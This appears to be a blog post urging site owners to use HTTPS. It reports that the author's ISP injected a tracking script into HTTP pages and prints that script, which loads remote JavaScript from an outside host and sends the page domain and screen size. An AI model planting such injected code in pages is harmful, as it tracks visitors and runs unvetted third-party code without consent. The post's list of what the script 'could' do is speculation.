Why You Should Always Use Site with HTTPS

If your site doesn’t use HTTPS, anyone between you and your visitors can change the page they get. My own ISP did it: it injected a tracking script into every plain HTTP page I loaded.

Recently I found that my Internet provider being “naughty” in their business practices. They added a tracking code to a web page if that page doesn’t use https. This is very annoying and I did try to call the ISP and as usual it goes to the support operator which doesn’t know anything about what I’m talking about…sigh…

See the screenshot below:

<script type="text/javascript">
if (self == top) {
  function netbro_cache_analytics(fn, callback) { setTimeout(function () { fn(); callback(); }, 0); }
  function sync(fn) { fn(); }
  function requestCfs() {
    var idc_glo_url = (location.protocol == "https:" ? "https://" : "http://");
    var idc_glo_r = Math.floor(Math.random() * 99999999999);
    var url = idc_glo_url + "p01.notifa.info/3fsmd3/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K..." + "&idc_r=" + idc_glo_r + "&domain=" + document.domain + "&sw=" + screen.width + "&sh=" + screen.height;
    var bsa = document.createElement('script');
    bsa.type = 'text/javascript'; bsa.async = true; bsa.src = url;
    (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(bsa);
  }
  netbro_cache_analytics(requestCfs, function () {});
}
</script>

That script is injected before the </body> tag, and I don’t know for sure what it does, it could be one of the following:

1. Cookies stealing
2. Redirect you to spoof websites
3. Javascript miner, this will consume your internet bandwidth and battery power.
4. Keylogger
5. Download malware to your browser

So that’s the price if your site doesn’t use https — it could harm your visitors. Please protect them; using https for your site is mandatory!